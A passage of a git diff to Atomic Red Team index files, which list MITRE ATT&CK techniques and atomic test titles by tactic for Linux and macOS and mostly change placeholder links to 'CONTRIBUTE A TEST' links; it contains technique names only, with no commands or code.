macos] @@ -14,16 +14,16 @@ - Atomic Test #3: Hidden file [macos, linux] - Atomic Test #7: Create visible Directories [macos, linux] - Atomic Test #8: Create hidden directories and files [macos, linux] -- [T1215 Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1215 Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # discovery - [T1087 Account Discovery](./T1087/T1087.md) @@ -33,13 +33,13 @@ - Atomic Test #4: List opened files by user [linux, macos] - Atomic Test #5: Show if a user account has ever logger in remotely [linux, macos] - Atomic Test #6: Enumerate Groups and users [linux, macos] -- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1217 Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #2: nix file and diectory discovery [macos, linux] - Atomic Test #3: nix file and diectory discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] -- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] - [T1057 Process Discovery](./T1057/T1057.md) @@ -52,35 +52,35 @@ - Atomic Test #3: List OS Information [linux, macos] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #2: System Network Configuration Discovery [macos, linux] -- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1049 System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #2: System Owner/User Discovery [linux, macos] # lateral-movement -- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1184 SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1184 SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # collection - [T1123 Audio Capture](./T1123/T1123.md) - [T1119 Automated Collection](./T1119/T1119.md) - [T1115 Clipboard Data](./T1115/T1115.md) - [T1074 Data Staged](./T1074/T1074.md) -- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1005 Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1056 Input Capture](./T1056/T1056.md) - [T1113 Screen Capture](./T1113/T1113.md) - Atomic Test #3: X Windows Capture [linux] - Atomic Test #4: Import [linux] # exfiltration -- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1002 Data Compressed](./T1002/T1002.md) - Atomic Test #3: Data Compressed - nix [linux, macos] - [T1022 Data Encrypted](./T1022/T1022.md) @@ -91,24 +91,24 @@ - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, centos, ubuntu, linux] -- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # credential-access - [T1139 Bash History](./T1139/T1139.md) - Atomic Test #1: xxxx [linux, macos] - [T1110 Brute Force](./T1110/T1110.md) - [T1081 Credentials in Files](./T1081/T1081.md) -- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1056 Input Capture](./T1056/T1056.md) -- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1040 Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1145 Private Keys](./T1145/T1145.md) -- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # defense-evasion -- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1009 Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1146 Clear Command History](./T1146/T1146.md) - Atomic Test #1: Clear Bash history (rm) [linux, macos] - Atomic Test #2: Clear Bash history (echo) [linux, macos] @@ -121,7 +121,7 @@ - Atomic Test #2: Disable syslog [linux] - Atomic Test #3: Disable Cb Response [linux] - Atomic Test #4: Disable SELinux [linux] -- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1107 File Deletion](./T1107/T1107.md) - Atomic Test #1: Victim configuration [linux] - Atomic Test #2: Delete a single file [linux] @@ -133,87 +133,87 @@ - Atomic Test #3: Hidden file [macos, linux] - Atomic Test #7: Create visible Directories [macos, linux] - Atomic Test #8: Create hidden directories and files [macos, linux] -- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1066 Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1070 Indicator Removal on Host](./T1070/T1070.md) - Atomic Test #3: rm -rf [macos, linux] - [T1130 Install Root Certificate](./T1130/T1130.md) - Atomic Test #1: Install root CA on CentOS/RHEL [linux] -- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1036 Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1027 Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1014 Rootkit](./T1014/T1014.md) - Atomic Test #1: Loadable Kernel Module based Rootkit [linux] - Atomic Test #2: Loadable Kernel Module based Rootkit [linux] - Atomic Test #3: LD_PRELOAD based Rootkit [linux] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1064 Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1151 Space after Filename](./T1151/T1151.md) - [T1099 Timestomp](./T1099/T1099.md) - Atomic Test #1: Set a file's access timestamp [linux, macos] - Atomic Test #2: Set a file's modification timestamp [linux, macos] - Atomic Test #3: Set a file's creation timestamp [linux, macos] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # execution - [T1059 Command-Line Interface](./T1059/T1059.md) - Atomic Test #1: Command-Line Interface [macos, centos, ubuntu, linux] -- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1153 Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1064 Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1153 Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1151 Space after Filename](./T1151/T1151.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1204 User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # command-and-control -- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1090 Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1132 Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1104 Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1188 Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1219 Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1071 Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1065 Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access -- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1199 Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # privilege-escalation -- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) - [T1166 Setuid and Setgid](./T1166/T1166.md) - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] -- [T1169 Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1206 Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1169 Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1206 Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index e516abb6..b669fd2e 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -1,24 +1,24 @@ # Linux Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Command-Line Interface](./T1059/T1059.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Process Injection](./T1055/T1055.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote System Discovery](./T1018/T1018.md) | | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Trap](./T1154/T1154.md) | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Information Discovery](./T1082/T1082.md) | | [Input Capture](./T1056/T1056.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Trap](./T1154/T1154.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | [Screen Capture](./T1113/T1113.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | | | [Port 